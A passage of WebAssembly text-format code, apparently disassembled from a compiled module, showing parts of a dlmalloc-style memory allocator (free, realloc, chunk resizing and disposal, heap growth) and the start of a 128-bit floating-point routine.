(i32.load offset=20
(local.get $l3)))))
(i32.store
(i32.add
(local.get $l6)
(i32.const 20))
(local.get $l2))
(i32.store offset=24
(local.get $l2)
(local.get $l6)))
(i32.store offset=4
(local.get $l1)
(i32.or
(local.get $p0)
(i32.const 1)))
(i32.store
(i32.add
(local.get $l1)
(local.get $p0))
(local.get $p0))
(br_if $B12
(i32.ne
(local.get $l1)
(i32.load offset=5392
(i32.const 0))))
(i32.store offset=5380
(i32.const 0)
(local.get $p0))
(return))
(i32.store offset=4
(local.get $l3)
(i32.and
(local.get $l2)
(i32.const -2)))
(i32.store offset=4
(local.get $l1)
(i32.or
(local.get $p0)
(i32.const 1)))
(i32.store
(i32.add
(local.get $l1)
(local.get $p0))
(local.get $p0)))
(block $B26
(br_if $B26
(i32.gt_u
(local.get $p0)
(i32.const 255)))
(local.set $p0
(i32.add
(i32.shl
(local.tee $l2
(i32.shr_u
(local.get $p0)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))
(block $B27
(block $B28
(br_if $B28
(i32.and
(local.tee $l4
(i32.load offset=5372
(i32.const 0)))
(local.tee $l2
(i32.shl
(i32.const 1)
(local.get $l2)))))
(i32.store offset=5372
(i32.const 0)
(i32.or
(local.get $l4)
(local.get $l2)))
(local.set $l2
(local.get $p0))
(br $B27))
(local.set $l2
(i32.load offset=8
(local.get $p0))))
(i32.store offset=8
(local.get $p0)
(local.get $l1))
(i32.store offset=12
(local.get $l2)
(local.get $l1))
(i32.store offset=12
(local.get $l1)
(local.get $p0))
(i32.store offset=8
(local.get $l1)
(local.get $l2))
(return))
(local.set $l2
(i32.const 31))
(block $B29
(br_if $B29
(i32.gt_u
(local.get $p0)
(i32.const 16777215)))
(local.set $l2
(i32.add
(i32.or
(i32.shl
(local.tee $l2
(i32.sub
(i32.shr_u
(i32.shl
(local.tee $l6
(i32.shl
(local.tee $l4
(i32.shl
(local.tee $l2
(i32.shr_u
(local.get $p0)
(i32.const 8)))
(local.tee $l2
(i32.and
(i32.shr_u
(i32.add
(local.get $l2)
(i32.const 1048320))
(i32.const 16))
(i32.const 8)))))
(local.tee $l4
(i32.and
(i32.shr_u
(i32.add
(local.get $l4)
(i32.const 520192))
(i32.const 16))
(i32.const 4)))))
(local.tee $l6
(i32.and
(i32.shr_u
(i32.add
(local.get $l6)
(i32.const 245760))
(i32.const 16))
(i32.const 2))))
(i32.const 15))
(i32.or
(i32.or
(local.get $l2)
(local.get $l4))
(local.get $l6))))
(i32.const 1))
(i32.and
(i32.shr_u
(local.get $p0)
(i32.add
(local.get $l2)
(i32.const 21)))
(i32.const 1)))
(i32.const 28))))
(i64.store offset=16 align=4
(local.get $l1)
(i64.const 0))
(i32.store
(i32.add
(local.get $l1)
(i32.const 28))
(local.get $l2))
(local.set $l4
(i32.add
(i32.shl
(local.get $l2)
(i32.const 2))
(i32.const 5676)))
(block $B30
(block $B31
(block $B32
(block $B33
(br_if $B33
(i32.and
(local.tee $l6
(i32.load offset=5376
(i32.const 0)))
(local.tee $l3
(i32.shl
(i32.const 1)
(local.get $l2)))))
(i32.store offset=5376
(i32.const 0)
(i32.or
(local.get $l6)
(local.get $l3)))
(i32.store
(local.get $l4)
(local.get $l1))
(i32.store
(i32.add
(local.get $l1)
(i32.const 24))
(local.get $l4))
(br $B32))
(local.set $l2
(i32.shl
(local.get $p0)
(select
(i32.const 0)
(i32.sub
(i32.const 25)
(i32.shr_u
(local.get $l2)
(i32.const 1)))
(i32.eq
(local.get $l2)
(i32.const 31)))))
(local.set $l6
(i32.load
(local.get $l4)))
(loop $L34
(br_if $B31
(i32.eq
(i32.and
(i32.load offset=4
(local.tee $l4
(local.get $l6)))
(i32.const -8))
(local.get $p0)))
(local.set $l6
(i32.shr_u
(local.get $l2)
(i32.const 29)))
(local.set $l2
(i32.shl
(local.get $l2)
(i32.const 1)))
(br_if $L34
(local.tee $l6
(i32.load
(local.tee $l3
(i32.add
(i32.add
(local.get $l4)
(i32.and
(local.get $l6)
(i32.const 4)))
(i32.const 16)))))))
(i32.store
(local.get $l3)
(local.get $l1))
(i32.store
(i32.add
(local.get $l1)
(i32.const 24))
(local.get $l4)))
(i32.store offset=12
(local.get $l1)
(local.get $l1))
(i32.store offset=8
(local.get $l1)
(local.get $l1))
(br $B30))
(i32.store offset=12
(local.tee $p0
(i32.load offset=8
(local.get $l4)))
(local.get $l1))
(i32.store offset=8
(local.get $l4)
(local.get $l1))
(i32.store
(i32.add
(local.get $l1)
(i32.const 24))
(i32.const 0))
(i32.store offset=12
(local.get $l1)
(local.get $l4))
(i32.store offset=8
(local.get $l1)
(local.get $p0)))
(i32.store offset=5404
(i32.const 0)
(select
(local.tee $l1
(i32.add
(i32.load offset=5404
(i32.const 0))
(i32.const -1)))
(i32.const -1)
(local.get $l1)))))
(func $f95 (type $t4) (param $p0 i32) (param $p1 i32) (result i32)
(local $l2 i32) (local $l3 i32)
(block $B0
(br_if $B0
(local.get $p0))
(return
(call $f93
(local.get $p1))))
(block $B1
(br_if $B1
(i32.lt_u
(local.get $p1)
(i32.const -64)))
(i32.store
(call $__errno_location)
(i32.const 48))
(return
(i32.const 0)))
(block $B2
(br_if $B2
(i32.eqz
(local.tee $l2
(call $f96
(i32.add
(local.get $p0)
(i32.const -8))
(select
(i32.const 16)
(i32.and
(i32.add
(local.get $p1)
(i32.const 11))
(i32.const -8))
(i32.lt_u
(local.get $p1)
(i32.const 11)))))))
(return
(i32.add
(local.get $l2)
(i32.const 8))))
(block $B3
(br_if $B3
(local.tee $l2
(call $f93
(local.get $p1))))
(return
(i32.const 0)))
(drop
(call $f30
(local.get $l2)
(local.get $p0)
(select
(local.tee $l3
(i32.add
(select
(i32.const -4)
(i32.const -8)
(i32.and
(local.tee $l3
(i32.load
(i32.add
(local.get $p0)
(i32.const -4))))
(i32.const 3)))
(i32.and
(local.get $l3)
(i32.const -8))))
(local.get $p1)
(i32.lt_u
(local.get $l3)
(local.get $p1)))))
(call $f94
(local.get $p0))
(local.get $l2))
(func $f96 (type $t4) (param $p0 i32) (param $p1 i32) (result i32)
(local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32)
(local.set $l3
(i32.and
(local.tee $l2
(i32.load offset=4
(local.get $p0)))
(i32.const -8)))
(block $B0
(block $B1
(br_if $B1
(i32.and
(local.get $l2)
(i32.const 3)))
(block $B2
(br_if $B2
(i32.ge_u
(local.get $p1)
(i32.const 256)))
(return
(i32.const 0)))
(block $B3
(br_if $B3
(i32.lt_u
(local.get $l3)
(i32.add
(local.get $p1)
(i32.const 4))))
(local.set $l4
(local.get $p0))
(br_if $B0
(i32.le_u
(i32.sub
(local.get $l3)
(local.get $p1))
(i32.shl
(i32.load offset=5852
(i32.const 0))
(i32.const 1)))))
(return
(i32.const 0)))
(local.set $l5
(i32.add
(local.get $p0)
(local.get $l3)))
(block $B4
(block $B5
(br_if $B5
(i32.lt_u
(local.get $l3)
(local.get $p1)))
(br_if $B4
(i32.lt_u
(local.tee $l3
(i32.sub
(local.get $l3)
(local.get $p1)))
(i32.const 16)))
(i32.store offset=4
(local.get $p0)
(i32.or
(i32.or
(i32.and
(local.get $l2)
(i32.const 1))
(local.get $p1))
(i32.const 2)))
(i32.store offset=4
(local.tee $p1
(i32.add
(local.get $p0)
(local.get $p1)))
(i32.or
(local.get $l3)
(i32.const 3)))
(i32.store offset=4
(local.get $l5)
(i32.or
(i32.load offset=4
(local.get $l5))
(i32.const 1)))
(call $f97
(local.get $p1)
(local.get $l3))
(br $B4))
(local.set $l4
(i32.const 0))
(block $B6
(br_if $B6
(i32.ne
(i32.load offset=5396
(i32.const 0))
(local.get $l5)))
(br_if $B0
(i32.le_u
(local.tee $l3
(i32.add
(i32.load offset=5384
(i32.const 0))
(local.get $l3)))
(local.get $p1)))
(i32.store offset=4
(local.get $p0)
(i32.or
(i32.or
(i32.and
(local.get $l2)
(i32.const 1))
(local.get $p1))
(i32.const 2)))
(i32.store offset=4
(local.tee $l2
(i32.add
(local.get $p0)
(local.get $p1)))
(i32.or
(local.tee $p1
(i32.sub
(local.get $l3)
(local.get $p1)))
(i32.const 1)))
(i32.store offset=5384
(i32.const 0)
(local.get $p1))
(i32.store offset=5396
(i32.const 0)
(local.get $l2))
(br $B4))
(block $B7
(br_if $B7
(i32.ne
(i32.load offset=5392
(i32.const 0))
(local.get $l5)))
(local.set $l4
(i32.const 0))
(br_if $B0
(i32.lt_u
(local.tee $l3
(i32.add
(i32.load offset=5380
(i32.const 0))
(local.get $l3)))
(local.get $p1)))
(block $B8
(block $B9
(br_if $B9
(i32.lt_u
(local.tee $l4
(i32.sub
(local.get $l3)
(local.get $p1)))
(i32.const 16)))
(i32.store offset=4
(local.get $p0)
(i32.or
(i32.or
(i32.and
(local.get $l2)
(i32.const 1))
(local.get $p1))
(i32.const 2)))
(i32.store offset=4
(local.tee $p1
(i32.add
(local.get $p0)
(local.get $p1)))
(i32.or
(local.get $l4)
(i32.const 1)))
(i32.store
(local.tee $l3
(i32.add
(local.get $p0)
(local.get $l3)))
(local.get $l4))
(i32.store offset=4
(local.get $l3)
(i32.and
(i32.load offset=4
(local.get $l3))
(i32.const -2)))
(br $B8))
(i32.store offset=4
(local.get $p0)
(i32.or
(i32.or
(i32.and
(local.get $l2)
(i32.const 1))
(local.get $l3))
(i32.const 2)))
(i32.store offset=4
(local.tee $p1
(i32.add
(local.get $p0)
(local.get $l3)))
(i32.or
(i32.load offset=4
(local.get $p1))
(i32.const 1)))
(local.set $l4
(i32.const 0))
(local.set $p1
(i32.const 0)))
(i32.store offset=5392
(i32.const 0)
(local.get $p1))
(i32.store offset=5380
(i32.const 0)
(local.get $l4))
(br $B4))
(local.set $l4
(i32.const 0))
(br_if $B0
(i32.and
(local.tee $l6
(i32.load offset=4
(local.get $l5)))
(i32.const 2)))
(br_if $B0
(i32.lt_u
(local.tee $l7
(i32.add
(i32.and
(local.get $l6)
(i32.const -8))
(local.get $l3)))
(local.get $p1)))
(local.set $l8
(i32.sub
(local.get $l7)
(local.get $p1)))
(block $B10
(block $B11
(br_if $B11
(i32.gt_u
(local.get $l6)
(i32.const 255)))
(drop
(i32.eq
(local.tee $l3
(i32.load offset=8
(local.get $l5)))
(local.tee $l6
(i32.add
(i32.shl
(local.tee $l9
(i32.shr_u
(local.get $l6)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))))
(block $B12
(br_if $B12
(i32.ne
(local.tee $l4
(i32.load offset=12
(local.get $l5)))
(local.get $l3)))
(i32.store offset=5372
(i32.const 0)
(i32.and
(i32.load offset=5372
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l9))))
(br $B10))
(drop
(i32.eq
(local.get $l4)
(local.get $l6)))
(i32.store offset=12
(local.get $l3)
(local.get $l4))
(i32.store offset=8
(local.get $l4)
(local.get $l3))
(br $B10))
(local.set $l10
(i32.load offset=24
(local.get $l5)))
(block $B13
(block $B14
(br_if $B14
(i32.eq
(local.tee $l6
(i32.load offset=12
(local.get $l5)))
(local.get $l5)))
(drop
(i32.gt_u
(i32.load offset=5388
(i32.const 0))
(local.tee $l3
(i32.load offset=8
(local.get $l5)))))
(i32.store offset=12
(local.get $l3)
(local.get $l6))
(i32.store offset=8
(local.get $l6)
(local.get $l3))
(br $B13))
(block $B15
(br_if $B15
(local.tee $l4
(i32.load
(local.tee $l3
(i32.add
(local.get $l5)
(i32.const 20))))))
(br_if $B15
(local.tee $l4
(i32.load
(local.tee $l3
(i32.add
(local.get $l5)
(i32.const 16))))))
(local.set $l6
(i32.const 0))
(br $B13))
(loop $L16
(local.set $l9
(local.get $l3))
(br_if $L16
(local.tee $l4
(i32.load
(local.tee $l3
(i32.add
(local.tee $l6
(local.get $l4))
(i32.const 20))))))
(local.set $l3
(i32.add
(local.get $l6)
(i32.const 16)))
(br_if $L16
(local.tee $l4
(i32.load offset=16
(local.get $l6)))))
(i32.store
(local.get $l9)
(i32.const 0)))
(br_if $B10
(i32.eqz
(local.get $l10)))
(block $B17
(block $B18
(br_if $B18
(i32.ne
(i32.load
(local.tee $l3
(i32.add
(i32.shl
(local.tee $l4
(i32.load offset=28
(local.get $l5)))
(i32.const 2))
(i32.const 5676))))
(local.get $l5)))
(i32.store
(local.get $l3)
(local.get $l6))
(br_if $B17
(local.get $l6))
(i32.store offset=5376
(i32.const 0)
(i32.and
(i32.load offset=5376
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l4))))
(br $B10))
(i32.store
(i32.add
(local.get $l10)
(select
(i32.const 16)
(i32.const 20)
(i32.eq
(i32.load offset=16
(local.get $l10))
(local.get $l5))))
(local.get $l6))
(br_if $B10
(i32.eqz
(local.get $l6))))
(i32.store offset=24
(local.get $l6)
(local.get $l10))
(block $B19
(br_if $B19
(i32.eqz
(local.tee $l3
(i32.load offset=16
(local.get $l5)))))
(i32.store offset=16
(local.get $l6)
(local.get $l3))
(i32.store offset=24
(local.get $l3)
(local.get $l6)))
(br_if $B10
(i32.eqz
(local.tee $l3
(i32.load offset=20
(local.get $l5)))))
(i32.store
(i32.add
(local.get $l6)
(i32.const 20))
(local.get $l3))
(i32.store offset=24
(local.get $l3)
(local.get $l6)))
(block $B20
(br_if $B20
(i32.gt_u
(local.get $l8)
(i32.const 15)))
(i32.store offset=4
(local.get $p0)
(i32.or
(i32.or
(i32.and
(local.get $l2)
(i32.const 1))
(local.get $l7))
(i32.const 2)))
(i32.store offset=4
(local.tee $p1
(i32.add
(local.get $p0)
(local.get $l7)))
(i32.or
(i32.load offset=4
(local.get $p1))
(i32.const 1)))
(br $B4))
(i32.store offset=4
(local.get $p0)
(i32.or
(i32.or
(i32.and
(local.get $l2)
(i32.const 1))
(local.get $p1))
(i32.const 2)))
(i32.store offset=4
(local.tee $p1
(i32.add
(local.get $p0)
(local.get $p1)))
(i32.or
(local.get $l8)
(i32.const 3)))
(i32.store offset=4
(local.tee $l3
(i32.add
(local.get $p0)
(local.get $l7)))
(i32.or
(i32.load offset=4
(local.get $l3))
(i32.const 1)))
(call $f97
(local.get $p1)
(local.get $l8)))
(local.set $l4
(local.get $p0)))
(local.get $l4))
(func $f97 (type $t7) (param $p0 i32) (param $p1 i32)
(local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32)
(local.set $l2
(i32.add
(local.get $p0)
(local.get $p1)))
(block $B0
(block $B1
(br_if $B1
(i32.and
(local.tee $l3
(i32.load offset=4
(local.get $p0)))
(i32.const 1)))
(br_if $B0
(i32.eqz
(i32.and
(local.get $l3)
(i32.const 3))))
(local.set $p1
(i32.add
(local.tee $l3
(i32.load
(local.get $p0)))
(local.get $p1)))
(block $B2
(block $B3
(br_if $B3
(i32.eq
(i32.load offset=5392
(i32.const 0))
(local.tee $p0
(i32.sub
(local.get $p0)
(local.get $l3)))))
(block $B4
(br_if $B4
(i32.gt_u
(local.get $l3)
(i32.const 255)))
(drop
(i32.eq
(local.tee $l4
(i32.load offset=8
(local.get $p0)))
(local.tee $l6
(i32.add
(i32.shl
(local.tee $l5
(i32.shr_u
(local.get $l3)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))))
(br_if $B2
(i32.ne
(local.tee $l3
(i32.load offset=12
(local.get $p0)))
(local.get $l4)))
(i32.store offset=5372
(i32.const 0)
(i32.and
(i32.load offset=5372
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l5))))
(br $B1))
(local.set $l7
(i32.load offset=24
(local.get $p0)))
(block $B5
(block $B6
(br_if $B6
(i32.eq
(local.tee $l6
(i32.load offset=12
(local.get $p0)))
(local.get $p0)))
(drop
(i32.gt_u
(i32.load offset=5388
(i32.const 0))
(local.tee $l3
(i32.load offset=8
(local.get $p0)))))
(i32.store offset=12
(local.get $l3)
(local.get $l6))
(i32.store offset=8
(local.get $l6)
(local.get $l3))
(br $B5))
(block $B7
(br_if $B7
(local.tee $l4
(i32.load
(local.tee $l3
(i32.add
(local.get $p0)
(i32.const 20))))))
(br_if $B7
(local.tee $l4
(i32.load
(local.tee $l3
(i32.add
(local.get $p0)
(i32.const 16))))))
(local.set $l6
(i32.const 0))
(br $B5))
(loop $L8
(local.set $l5
(local.get $l3))
(br_if $L8
(local.tee $l4
(i32.load
(local.tee $l3
(i32.add
(local.tee $l6
(local.get $l4))
(i32.const 20))))))
(local.set $l3
(i32.add
(local.get $l6)
(i32.const 16)))
(br_if $L8
(local.tee $l4
(i32.load offset=16
(local.get $l6)))))
(i32.store
(local.get $l5)
(i32.const 0)))
(br_if $B1
(i32.eqz
(local.get $l7)))
(block $B9
(block $B10
(br_if $B10
(i32.ne
(i32.load
(local.tee $l3
(i32.add
(i32.shl
(local.tee $l4
(i32.load offset=28
(local.get $p0)))
(i32.const 2))
(i32.const 5676))))
(local.get $p0)))
(i32.store
(local.get $l3)
(local.get $l6))
(br_if $B9
(local.get $l6))
(i32.store offset=5376
(i32.const 0)
(i32.and
(i32.load offset=5376
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l4))))
(br $B1))
(i32.store
(i32.add
(local.get $l7)
(select
(i32.const 16)
(i32.const 20)
(i32.eq
(i32.load offset=16
(local.get $l7))
(local.get $p0))))
(local.get $l6))
(br_if $B1
(i32.eqz
(local.get $l6))))
(i32.store offset=24
(local.get $l6)
(local.get $l7))
(block $B11
(br_if $B11
(i32.eqz
(local.tee $l3
(i32.load offset=16
(local.get $p0)))))
(i32.store offset=16
(local.get $l6)
(local.get $l3))
(i32.store offset=24
(local.get $l3)
(local.get $l6)))
(br_if $B1
(i32.eqz
(local.tee $l3
(i32.load offset=20
(local.get $p0)))))
(i32.store
(i32.add
(local.get $l6)
(i32.const 20))
(local.get $l3))
(i32.store offset=24
(local.get $l3)
(local.get $l6))
(br $B1))
(br_if $B1
(i32.ne
(i32.and
(local.tee $l3
(i32.load offset=4
(local.get $l2)))
(i32.const 3))
(i32.const 3)))
(i32.store offset=5380
(i32.const 0)
(local.get $p1))
(i32.store offset=4
(local.get $l2)
(i32.and
(local.get $l3)
(i32.const -2)))
(i32.store offset=4
(local.get $p0)
(i32.or
(local.get $p1)
(i32.const 1)))
(i32.store
(local.get $l2)
(local.get $p1))
(return))
(drop
(i32.eq
(local.get $l3)
(local.get $l6)))
(i32.store offset=12
(local.get $l4)
(local.get $l3))
(i32.store offset=8
(local.get $l3)
(local.get $l4)))
(block $B12
(block $B13
(br_if $B13
(i32.and
(local.tee $l3
(i32.load offset=4
(local.get $l2)))
(i32.const 2)))
(block $B14
(br_if $B14
(i32.ne
(i32.load offset=5396
(i32.const 0))
(local.get $l2)))
(i32.store offset=5396
(i32.const 0)
(local.get $p0))
(i32.store offset=5384
(i32.const 0)
(local.tee $p1
(i32.add
(i32.load offset=5384
(i32.const 0))
(local.get $p1))))
(i32.store offset=4
(local.get $p0)
(i32.or
(local.get $p1)
(i32.const 1)))
(br_if $B0
(i32.ne
(local.get $p0)
(i32.load offset=5392
(i32.const 0))))
(i32.store offset=5380
(i32.const 0)
(i32.const 0))
(i32.store offset=5392
(i32.const 0)
(i32.const 0))
(return))
(block $B15
(br_if $B15
(i32.ne
(i32.load offset=5392
(i32.const 0))
(local.get $l2)))
(i32.store offset=5392
(i32.const 0)
(local.get $p0))
(i32.store offset=5380
(i32.const 0)
(local.tee $p1
(i32.add
(i32.load offset=5380
(i32.const 0))
(local.get $p1))))
(i32.store offset=4
(local.get $p0)
(i32.or
(local.get $p1)
(i32.const 1)))
(i32.store
(i32.add
(local.get $p0)
(local.get $p1))
(local.get $p1))
(return))
(local.set $p1
(i32.add
(i32.and
(local.get $l3)
(i32.const -8))
(local.get $p1)))
(block $B16
(block $B17
(br_if $B17
(i32.gt_u
(local.get $l3)
(i32.const 255)))
(drop
(i32.eq
(local.tee $l4
(i32.load offset=8
(local.get $l2)))
(local.tee $l6
(i32.add
(i32.shl
(local.tee $l5
(i32.shr_u
(local.get $l3)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))))
(block $B18
(br_if $B18
(i32.ne
(local.tee $l3
(i32.load offset=12
(local.get $l2)))
(local.get $l4)))
(i32.store offset=5372
(i32.const 0)
(i32.and
(i32.load offset=5372
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l5))))
(br $B16))
(drop
(i32.eq
(local.get $l3)
(local.get $l6)))
(i32.store offset=12
(local.get $l4)
(local.get $l3))
(i32.store offset=8
(local.get $l3)
(local.get $l4))
(br $B16))
(local.set $l7
(i32.load offset=24
(local.get $l2)))
(block $B19
(block $B20
(br_if $B20
(i32.eq
(local.tee $l6
(i32.load offset=12
(local.get $l2)))
(local.get $l2)))
(drop
(i32.gt_u
(i32.load offset=5388
(i32.const 0))
(local.tee $l3
(i32.load offset=8
(local.get $l2)))))
(i32.store offset=12
(local.get $l3)
(local.get $l6))
(i32.store offset=8
(local.get $l6)
(local.get $l3))
(br $B19))
(block $B21
(br_if $B21
(local.tee $l3
(i32.load
(local.tee $l4
(i32.add
(local.get $l2)
(i32.const 20))))))
(br_if $B21
(local.tee $l3
(i32.load
(local.tee $l4
(i32.add
(local.get $l2)
(i32.const 16))))))
(local.set $l6
(i32.const 0))
(br $B19))
(loop $L22
(local.set $l5
(local.get $l4))
(br_if $L22
(local.tee $l3
(i32.load
(local.tee $l4
(i32.add
(local.tee $l6
(local.get $l3))
(i32.const 20))))))
(local.set $l4
(i32.add
(local.get $l6)
(i32.const 16)))
(br_if $L22
(local.tee $l3
(i32.load offset=16
(local.get $l6)))))
(i32.store
(local.get $l5)
(i32.const 0)))
(br_if $B16
(i32.eqz
(local.get $l7)))
(block $B23
(block $B24
(br_if $B24
(i32.ne
(i32.load
(local.tee $l3
(i32.add
(i32.shl
(local.tee $l4
(i32.load offset=28
(local.get $l2)))
(i32.const 2))
(i32.const 5676))))
(local.get $l2)))
(i32.store
(local.get $l3)
(local.get $l6))
(br_if $B23
(local.get $l6))
(i32.store offset=5376
(i32.const 0)
(i32.and
(i32.load offset=5376
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l4))))
(br $B16))
(i32.store
(i32.add
(local.get $l7)
(select
(i32.const 16)
(i32.const 20)
(i32.eq
(i32.load offset=16
(local.get $l7))
(local.get $l2))))
(local.get $l6))
(br_if $B16
(i32.eqz
(local.get $l6))))
(i32.store offset=24
(local.get $l6)
(local.get $l7))
(block $B25
(br_if $B25
(i32.eqz
(local.tee $l3
(i32.load offset=16
(local.get $l2)))))
(i32.store offset=16
(local.get $l6)
(local.get $l3))
(i32.store offset=24
(local.get $l3)
(local.get $l6)))
(br_if $B16
(i32.eqz
(local.tee $l3
(i32.load offset=20
(local.get $l2)))))
(i32.store
(i32.add
(local.get $l6)
(i32.const 20))
(local.get $l3))
(i32.store offset=24
(local.get $l3)
(local.get $l6)))
(i32.store offset=4
(local.get $p0)
(i32.or
(local.get $p1)
(i32.const 1)))
(i32.store
(i32.add
(local.get $p0)
(local.get $p1))
(local.get $p1))
(br_if $B12
(i32.ne
(local.get $p0)
(i32.load offset=5392
(i32.const 0))))
(i32.store offset=5380
(i32.const 0)
(local.get $p1))
(return))
(i32.store offset=4
(local.get $l2)
(i32.and
(local.get $l3)
(i32.const -2)))
(i32.store offset=4
(local.get $p0)
(i32.or
(local.get $p1)
(i32.const 1)))
(i32.store
(i32.add
(local.get $p0)
(local.get $p1))
(local.get $p1)))
(block $B26
(br_if $B26
(i32.gt_u
(local.get $p1)
(i32.const 255)))
(local.set $p1
(i32.add
(i32.shl
(local.tee $l3
(i32.shr_u
(local.get $p1)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))
(block $B27
(block $B28
(br_if $B28
(i32.and
(local.tee $l4
(i32.load offset=5372
(i32.const 0)))
(local.tee $l3
(i32.shl
(i32.const 1)
(local.get $l3)))))
(i32.store offset=5372
(i32.const 0)
(i32.or
(local.get $l4)
(local.get $l3)))
(local.set $l3
(local.get $p1))
(br $B27))
(local.set $l3
(i32.load offset=8
(local.get $p1))))
(i32.store offset=8
(local.get $p1)
(local.get $p0))
(i32.store offset=12
(local.get $l3)
(local.get $p0))
(i32.store offset=12
(local.get $p0)
(local.get $p1))
(i32.store offset=8
(local.get $p0)
(local.get $l3))
(return))
(local.set $l3
(i32.const 31))
(block $B29
(br_if $B29
(i32.gt_u
(local.get $p1)
(i32.const 16777215)))
(local.set $l3
(i32.add
(i32.or
(i32.shl
(local.tee $l3
(i32.sub
(i32.shr_u
(i32.shl
(local.tee $l6
(i32.shl
(local.tee $l4
(i32.shl
(local.tee $l3
(i32.shr_u
(local.get $p1)
(i32.const 8)))
(local.tee $l3
(i32.and
(i32.shr_u
(i32.add
(local.get $l3)
(i32.const 1048320))
(i32.const 16))
(i32.const 8)))))
(local.tee $l4
(i32.and
(i32.shr_u
(i32.add
(local.get $l4)
(i32.const 520192))
(i32.const 16))
(i32.const 4)))))
(local.tee $l6
(i32.and
(i32.shr_u
(i32.add
(local.get $l6)
(i32.const 245760))
(i32.const 16))
(i32.const 2))))
(i32.const 15))
(i32.or
(i32.or
(local.get $l3)
(local.get $l4))
(local.get $l6))))
(i32.const 1))
(i32.and
(i32.shr_u
(local.get $p1)
(i32.add
(local.get $l3)
(i32.const 21)))
(i32.const 1)))
(i32.const 28))))
(i64.store offset=16 align=4
(local.get $p0)
(i64.const 0))
(i32.store
(i32.add
(local.get $p0)
(i32.const 28))
(local.get $l3))
(local.set $l4
(i32.add
(i32.shl
(local.get $l3)
(i32.const 2))
(i32.const 5676)))
(block $B30
(block $B31
(block $B32
(br_if $B32
(i32.and
(local.tee $l6
(i32.load offset=5376
(i32.const 0)))
(local.tee $l2
(i32.shl
(i32.const 1)
(local.get $l3)))))
(i32.store offset=5376
(i32.const 0)
(i32.or
(local.get $l6)
(local.get $l2)))
(i32.store
(local.get $l4)
(local.get $p0))
(i32.store
(i32.add
(local.get $p0)
(i32.const 24))
(local.get $l4))
(br $B31))
(local.set $l3
(i32.shl
(local.get $p1)
(select
(i32.const 0)
(i32.sub
(i32.const 25)
(i32.shr_u
(local.get $l3)
(i32.const 1)))
(i32.eq
(local.get $l3)
(i32.const 31)))))
(local.set $l6
(i32.load
(local.get $l4)))
(loop $L33
(br_if $B30
(i32.eq
(i32.and
(i32.load offset=4
(local.tee $l4
(local.get $l6)))
(i32.const -8))
(local.get $p1)))
(local.set $l6
(i32.shr_u
(local.get $l3)
(i32.const 29)))
(local.set $l3
(i32.shl
(local.get $l3)
(i32.const 1)))
(br_if $L33
(local.tee $l6
(i32.load
(local.tee $l2
(i32.add
(i32.add
(local.get $l4)
(i32.and
(local.get $l6)
(i32.const 4)))
(i32.const 16)))))))
(i32.store
(local.get $l2)
(local.get $p0))
(i32.store
(i32.add
(local.get $p0)
(i32.const 24))
(local.get $l4)))
(i32.store offset=12
(local.get $p0)
(local.get $p0))
(i32.store offset=8
(local.get $p0)
(local.get $p0))
(return))
(i32.store offset=12
(local.tee $p1
(i32.load offset=8
(local.get $l4)))
(local.get $p0))
(i32.store offset=8
(local.get $l4)
(local.get $p0))
(i32.store
(i32.add
(local.get $p0)
(i32.const 24))
(i32.const 0))
(i32.store offset=12
(local.get $p0)
(local.get $l4))
(i32.store offset=8
(local.get $p0)
(local.get $p1))))
(func $f98 (type $t0) (param $p0 i32) (result i32)
(local $l1 i32) (local $l2 i32)
(local.set $p0
(i32.add
(local.tee $l1
(i32.load offset=3060
(i32.const 0)))
(local.tee $l2
(i32.and
(i32.add
(local.get $p0)
(i32.const 3))
(i32.const -4)))))
(block $B0
(block $B1
(br_if $B1
(i32.eqz
(local.get $l2)))
(br_if $B0
(i32.le_u
(local.get $p0)
(local.get $l1))))
(block $B2
(br_if $B2
(i32.le_u
(local.get $p0)
(call $f23)))
(br_if $B0
(i32.eqz
(call $f24
(local.get $p0)))))
(i32.store offset=3060
(i32.const 0)
(local.get $p0))
(return
(local.get $l1)))
(i32.store
(call $__errno_location)
(i32.const 48))
(i32.const -1))
(func $f99 (type $t6) (param $p0 i32) (param $p1 i64) (param $p2 i64) (param $p3 i64) (param $p4 i64)
(local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i64) (local $l10 i64) (local $l11 i64) (local $l12 i64)
(global.set $g0
(local.tee $l5
(i32.sub
(global.get $g0)
(i32.const 112))))
(local.set $l9
(i64.and
(local.get $p4)
(i64.const 9223372036854775807)))
(block $B0
(block $B1
(block $B2
(br_if $B2
(select
(local.tee $l6
(i64.eqz
(local.get $p1)))
(i64.lt_u
(i64.add
(local.tee $l10
(i64.and
(local.get $p2)
(i64.const 9223372036854775807)))
(i64.const -9223090561878065152))
(i64.const -9223090561878065152))
(i64.eqz
(local.get $l10))))
(br_if $B1
(select
(i64.ne
(local.get $p3)
(i64.const 0))
(i64.gt_u
(local.tee $l11
(i64.add
(local.get $l9)
(i64.const -9223090561878065152)))
(i64.const -9223090561878065152))
(i64.eq
(local.get $l11)
(i64.const -9223090561878065152)))))
(block $B3
(br_if $B3
(select
(local.get $l6)
(i64.lt_u
(local.get $l10)
(i64.const 9223090561878065152))
(i64.eq
(local.get $l10)
(i64.const 9223090561878065152))))
(local.set $p4
(i64.or
(local.get $p2)
(i64.const 140737488355328)))
(local.set $p3
(local.get $p1))
(br $B0))
(block $B4
(br_if $B4
(select
(i64.eqz
(local.get $p3))
(i64.lt_u
(local.get $l9)
(i64.const 9223090561878065152))
(i64.eq
(local.get $l9)
(i64.const 9223090561878065152))))
(local.set $p4
(i64.or
(local.get $p4)
(i64.const 140737488355328)))
(br $B0))
(block $B5
(br_if $B5
(i64.ne
(i64.or
(local.get $p1)
(i64.xor
(local.get $l10)
(i64.const 9223090561878065152)))
(i64.const 0)))
